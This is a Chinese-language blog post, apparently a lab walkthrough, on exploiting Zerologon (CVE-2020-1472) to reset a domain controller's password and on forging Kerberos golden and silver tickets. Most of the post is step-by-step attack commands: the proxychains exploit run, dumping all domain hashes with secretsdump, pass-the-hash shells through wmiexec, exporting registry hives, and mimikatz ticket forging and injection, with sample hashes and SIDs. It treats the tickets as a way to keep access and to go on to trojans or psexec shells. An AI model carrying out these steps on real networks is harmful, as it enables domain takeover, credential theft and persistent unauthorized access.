zero logon复现&&黄金白银票据

发布时间 2023-12-11 15:06:26作者: Running_J

zero logon复现&&黄金白银票据

zero logon复现(CVE-2020-1472)

漏洞利用条件

一台域内用户即可,下载利用工具

https://github.com/dirkjanm/CVE-2020-1472

然后第一步就是获取域控的计算机名和域控的ip

然后利用脚本进行检测是否有这个漏洞

之后就利用攻击脚本进行置空攻击

proxychains python3 xxx.py sec 192.168.9.52

攻击完成,然后使用secretsdump.py进行进行导出hash,这个是impacket里面的脚本

首先得先改一下host文件

vim /etc/hosts

192.168.9.52 sec.sec.jack.com

然后执行命令

proxychains4 python secretsdump.py sec\$@192.168.9.52 -just-dc -no-pass

整个就是攻击后域控的密码是空密码

这就得到域内所有用户的hash,之后就能使用域控的hash进行木马上线等操作

使用impacket套件进行测试hash是否能用

// 这边写的是域的名称而不是域控的主机名就是域 sec.jack.com
proxychains4 python3 wmiexec.py -hashes :b924e8256964e4467e776d81ee817086 sec.jack.com/adminintrator@192.168.9.52

就能获取域控的权限

因为这个漏洞是将域控的密码置空,这个会对整个域环境造成影响,所以后续得恢复密码

使用reinstall_original_pw脚本进行恢复

https://github.com/risksense/zerologon

先获取目标的注册表,将带有hash的文件进行保存,然后发送到攻击机的本地,整个 /y 就是强制保存,如果有同样的文件就会强制覆盖

reg save HKLM\SYSTEM system.save /y

reg save HKLM\SAM sam.save /y

reg save HKLM\SECURITY security.save /y

然后导入到本地

如果get命令无法使用可以使用lget命令

lget sam.save

lget security.save

lget system.save

然后就是获取原本域控的hash整个前面很长的一段是域控密钥,后买你的$MACHINE.ACC就是域控的hash

然后使用reinstall整个脚本进行恢复,这里恢复可以使用这个密钥也可以使用下面的hash

python3 reinstall_original_pw.py sec 192.168.9.52 hash

python3 reinstall_original_pw.py sec 192.168.9.52 1ceab01e043c4ba1b6aeeefb5083b7f84b7f95122a006e2185f951290a7faa1356f793a03067dbfd1c636a49ea2dd8c5d3e6ee1697d0e7ac344638dc4e4c08ca5c71b81371a53726aff5f079f1978454a1953562f9b1eabc9b466df4ab734b2209e570b670d8934af4faa27a531afbd961045faa33ecd481d6cbcd3ccffdfeedba85a87d0bb9f8576a9d63c35157d8a5101478c7b75a38e146470f1dccfc2109b92d082e40ea2cf0d48113be67c29f15f628ef72e2670ec57fd00a00e31010eb7a38fd5fa4fd148b8baa0bc4b6d29dffaa637b922a100529b146d508fe81e6a2df2e18a89eaaff9dfb7efc6d5ea6936a

然后就能成功恢复,查看是否恢复

// 整个hash就是刚刚进行导出的域控hash
proxychains4 python3 secretsdump.py sec.sec.jack.com/administrator@192.168.9.52 -hashes :b924e8256964e4467e776d81ee817086

可以看到已经恢复了而且不是空密码.

黄金票据

原理:在kerberos认证的时候,kdc中的AS服务会给客户端一个session key和一个用于下一步对TGS进行认证的TGT票据,黄金票据就是通过伪造这个票据进行攻击的,黄金和白银票据都是权限维持中的方法.黄金票据就是因为从AS中得到的Logon session不会保存到KDC中,krbtgt账户的ntlm hash也是固定的,所以只要得到这个session key和krbtgt就可以直接伪造tgt然后进行下一步的TGS的认证,当我们一旦有了黄金票据之后,请求服务的时候就不用验证账户和密码。所以当管理员修改了密码也可以直接用黄金票据对域控进行通信

需要的条件:

1 已经拿下域管理员,获取了krbtgt hash

2 制作票据

实验:

域控:mark.com

域内主机 server 2008 域用户:jack/123321Zxc

首先第一步就是获取krbtgt 的hash,在真实环境中可以让域控上线cs进行获取

mimikatz lsadump::lsa /patch

第二步获取主机的sid,可以是域控的sid也可以是域内任意主机的sid

server 2008 域内主机执行

whoami /all

获取所有用户的sid

wmic useraccount get sid,name

当前用户是jack,记录下查询到的sid,这里只是需要记录前面的部分就可以了,后面的-xxx就不需要了

jack sid:S-1-5-21-4236451358-3080725444-4004697965

最后一步就是制作票据

使用mimikatz进行生成

mimikatz kerberos::golden /user:jack /domain:mark.com /sid:S-1-5-21-4236451358-3080725444-4004697965 /krbtgt:fa28b11d3691808ab7ba6764561a16de /ticket:test.kirbi
// 最后面的可以自定义 xxx
// 或者xxx.kirbi都可以

没有导入票据与域控的通信

然后导入票据

mimikatz kerberos::ptt C:\Users\jack\Desktop\test.kirbi

然后尝试通信

之后就可以进行下载木马上线,或者使用psexec.exe获取shell等操作。

然后第二次进行渗透的时候就可以直接使用这个票据载入进行域控的通信

白银票据

同样的白银票据也是权限维持的一种方法,在Kerberos的第三步,客户端携带ST就是TGS进行颁发的凭据向服务端发起请求,然后服务端使用自己的密钥进行解密ST,得到里面的session key,通过这个可以解密客户端的身份信息,进行对比验证,身份验证成功就能为客户端提供服务。所以在这个过程中,只需要知道服务端的用户的hash然后伪造一个ST,这个就不用通过KDC的认证,直接向服务端发起请求,但是这个白银票据只能访问指定的服务。

条件:

域名和域内用户sid

域控的服务名

机器账号的NTLM hash

还有需要伪造的用户名

实验:

域控:mark.com

域内主机 server 2008 域用户:jack/123321Zxc

第一步获取sid

S-1-5-21-4236451358-3080725444-4004697965

然后获取机器账户的hash,这一步需要在域控上面查询

8a1971d4a2c1d147a52e89fac4b4af4e

最后就是制作票据

mimikatz kerberos::golden /domain:mark.com /sid:S-1-5-21-4236451358-3080725444-4004697965 /target:mstest.mark.com /service:cifs /rc4:8a1971d4a2c1d147a52e89fac4b4af4e /user:test /ptt
// 上面的命令是如下的格式进行生成的
kerberos::golden /domain:域名 /sid:域sid /target:域控全名 /service:目标服务 /rc4:机器账户的hash /user:xxx用户名 /ptt

查看票据

然后进行测试与域控的通信


通信成功